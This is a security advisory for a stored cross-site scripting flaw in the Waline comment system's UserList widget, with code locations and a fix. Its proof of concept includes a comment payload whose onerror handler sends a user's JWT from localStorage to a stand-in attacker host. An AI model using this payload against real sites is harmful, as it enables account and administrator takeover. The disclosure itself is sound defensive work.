Vulnerability GHSA-7w94-hxwm-gg99
Summary
Waline: UserList stored XSS via unescaped commenter fields
Details
Summary
The @waline/client UserList widget builds its DOM by concatenating server-returned commenter fields directly into root.innerHTML with no HTML escaping.
The commenter nick and link are stored and returned verbatim by the server (only the comment body is sanitized), and the link field is never sent to the spam filter.
So an unauthenticated visitor who posts a comment with link = x"><img src=x onerror=...> achieves stored cross-site scripting that executes, with no interaction, in the browser of every visitor to a page that embeds the UserList widget.
Details
packages/client/src/widgets/userList.ts:106-133 builds root.innerHTML by concatenating user.nick (as element content at :117 and in the aria-label/alt attributes), user.link (in the <a href> and as content at :125), user.avatar, and user.label, all with no escaping. A commenter link of x"><img src=x onerror=...> breaks out of the href attribute and injects a live element.
packages/client/src/widgets/recentComments.ts:73-78 has the identical unescaped-innerHTML pattern for comment.nick/comment.url, but it is NOT reachable as shipped: its client getRecentComment returns the wrapped {errno,data} object without unwrapping .data, so the comments.length > 0 guard is false and the widget renders nothing. The live sink is UserList.
On the server the fields are never escaped:
packages/server/src/logic/comment.jsvalidates onlyurlandcomment(both as strings);nickandlinkhave no rule.packages/server/src/controller/comment.jspostAction storesnick/link/urlverbatim (:98-111,add(data):215), andgetRecentCommentList(:647-705) returns them viaformatCmt, which never HTML-escapes them.packages/server/src/controller/user.js:280-300builds the UserList response for anonymous commenters by reading{ nick, link }straight off a comment row.
Only comment.comment is sanitized (controller/comment.js:55, markdown-it -> DOMPurify). nick, link, and url are the injection points.
By default an anonymous comment is stored status=approved (config.js:124 audit defaults to false). Akismet ships a built-in DEFAULT_KEY, so on a networked default server it is active and spam-filters an <img onerror> in nick or the comment body; the link field is never sent to Akismet, so it is the robust out-of-the-box injection point. The nick field fires when Akismet is disabled or unreachable.
Proof of concept
- As an anonymous user, post a comment via
POST /api/commentwithlinkset to the payload:
POST /api/comment
{ "url": "/any-post", "comment": "hi", "nick": "a", "link": "x\"><img src=x onerror=fetch('//evil.example/'+JSON.parse(localStorage.WALINE_USER).token)>" }
- On any page that embeds the
UserListwidget, the widget concatenateslinkstraight intoroot.innerHTMLwith no escaping, soonerrorfires for every visitor with no interaction. Thenickfield is equally injectable but reaches the widget only when Akismet is disabled, since Akismet filters it by default.
The default comment list (CommentCard) is not affected; it renders nick through Vue {{ }} and normalizes link through isLinkHttp.
Impact
Arbitrary script in the widget's origin against an anonymous viewer: defacement, redirect, phishing, and CSRF-on-behalf.
When a logged-in user or administrator views the widget, the injected script can read the waline JWT (kept in same-origin localStorage), escalating to account or administrator takeover.
Suggested fix
HTML-escape every interpolated user field in both widgets; leave comment.comment as is (already server-sanitized).
Additionally consider routing url/link through the existing isLinkHttp normalization to also block javascript: schemes in the click-gated href.
Related Vulnerabilities
Other vulnerabilities affecting the same packages